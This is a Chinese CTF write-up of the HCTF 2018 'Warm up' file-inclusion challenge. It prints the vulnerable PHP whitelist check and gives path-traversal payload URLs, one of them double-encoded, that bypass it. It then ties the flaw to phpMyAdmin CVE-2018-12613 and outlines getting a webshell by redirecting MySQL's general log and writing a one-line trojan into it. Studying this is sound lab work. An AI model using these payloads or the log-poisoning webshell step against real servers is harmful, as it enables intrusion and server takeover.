Warm_up(HCTF_2018)
Warm up
考察知识点:
文件包含漏洞
代码审计
解题步骤
- 首先我们进来看到了一个滑稽的表情,没啥别的东西,先看看源码

- 源码中发现有注释 source.php

我们访问source.php,得到代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} if (in_array($page, $whitelist)) {
return true;
} $_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} $_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
} //用$_REQUEST来接收file参数
if (! empty($_REQUEST['file'])//file不为空
&& is_string($_REQUEST['file'])//file是字符串
&& emmm::checkFile($_REQUEST['file'])//file通过checkFile
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
我们在source的白名单中,发现还有一个文件hint.php,访问知道了flag的位位置

现在的问题就是如何使的checkFile为真。
- in_array() 函数搜索数组中是否存在指定的值
- mb_substr() 函数与我们学过 substr() 函数差不多,如果要分割英文则使用substr(),如果要分割中文则需要使用 mb_substr()
- mb_strpos() 查找字符串在另一个字符串中首次出现的位置
我们在把代码复制下来,在本地搭建一下,加上几句echo

我们传入一下url
http://b60922ee-d3a8-4f8c-9191-f06e104e698d.node3.buuoj.cn/source.php?file=hint.php?/../../../../../ffffllllaaaagggg或者
http://b60922ee-d3a8-4f8c-9191-f06e104e698d.node3.buuoj.cn/source.php?file=hint.php%253f/../../../../../ffffllllaaaagggg
可以看到之后执行的是include(hint.php?/../../../../../ffffllllaaaagggg),这里能包含成功,是因为它吧hint.php?当作了文件夹.
phpmyadmin 4.8.1任意文件包含(CVE-2018-12613)
代码节选与本题很相似
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
/**
* boolean phpMyAdmin.Core::checkPageValidity(string &$page, array $whitelist)
*
* checks given $page against given $whitelist and returns true if valid
* it optionally ignores query parameters in $page (script.php?ignored)
*
* @param string &$page page to check
* @param array $whitelist whitelist to check page against
*
* @return boolean whether $page is valid or not (in $whitelist or not)
*/
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
$target_blacklist = array ( //黑名单
'import.php', 'export.php'
);
if (! empty($_REQUEST['target'])#target 非空
&& is_string($_REQUEST['target'])#target为字符串
&& ! preg_match('/^index/', $_REQUEST['target'])#target不能以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)#target不能在黑名单中
&& Core::checkPageValidity($_REQUEST['target'])#target要通过checkPageValidity
) {
include $_REQUEST['target'];
exit;
}
我们搭建环境测试一下

查询一下general_log的开启状态

将日志产生的默认路径改更改为已知路径。执行成功后,查看日志文件是否生成

检查是否产生日志文件

写入一句话木马


测试一下



Warm_up(HCTF_2018)的更多相关文章
- rsa special
[ReSnAd] -- iqmp ipmq e,c,\(\phi(n)\) 题目: class Key: PRIVATE_INFO = ['P', 'Q', 'D', 'DmP1', 'DmQ1'] ...
随机推荐
- NGK DeFi项目即将上线,打造去中心化闭环金融生态!
据最新官方消息称:NGK已于近日宣布将进军DeFi领域,NGK此次的DeFi的项目将会是一个去中心的交易平台,其最大的功能是进行数字货币的交换.在用户选择了需要支付的数字货币和想购买的数字货币后,系统 ...
- React Context 理解和使用
写在前面 鉴于笔者学习此内容章节 React官方文档 时感到阅读理解抽象困难,所以决定根据文档理解写一篇自己对Context的理解,文章附带示例,以为更易于理解学习.更多内容请参考 React官方 ...
- 死磕Spring之IoC篇 - 解析自定义标签(XML 文件)
该系列文章是本人在学习 Spring 的过程中总结下来的,里面涉及到相关源码,可能对读者不太友好,请结合我的源码注释 Spring 源码分析 GitHub 地址 进行阅读 Spring 版本:5.1. ...
- AWS Switching to an IAM role (AWS CLI)
一,引言 今天额外分享一篇 AWS 的技术内容,需要在 EC2 切换到跨账号 IAM 角色(AWS CLI).假设我们使用两个 AWS 账户,A账号,B账号.我们希望允许 A 账号用于 "i ...
- Java并发之ThreadPoolExecutor源码解析(三)
Worker 先前,笔者讲解到ThreadPoolExecutor.addWorker(Runnable firstTask, boolean core),在这个方法中工作线程可能创建成功,也可能创建 ...
- POJ-1321棋盘问题(简单深搜)
简单搜索step1 POJ-1321 这是第一次博客,题目也很简单,主要是注意格式书写以及常见的快速输入输出和文件输入输出的格式. 递归的时候注意起始是从(-1,-1)开始,然后每次从下一行开始递归. ...
- ThinVnc-身份验证绕过(CVE-2019-17662)
ThinVnc-身份验证绕过(CVE-2019-17662) 简介 ThinVNC是一款以网页浏览器为基础设计的远端桌面连接工具,不局限用户端使用那种作业平台,都可以通过采用HTML5为标准的浏览器来 ...
- 从零学脚手架(四)---babel
如果此篇对您有所帮助,在此求一个star.项目地址: OrcasTeam/my-cli 接下来介绍一个打包编译过程中一个极为重要的工具--babel. ES6的枷锁 细心的朋友可以知道,在之前打包编译 ...
- C# 应用 - 使用 HttpListener 接受 Http 请求
1. 库类: \Reference Assemblies\Microsoft\Framework\.NETFramework\v4.6\System.dll System.Net.HttpListen ...
- java基础:数据类型拓展
public static void main(String[] args) { //单行注释 //输出hello,world! //System.out.println("hello,wo ...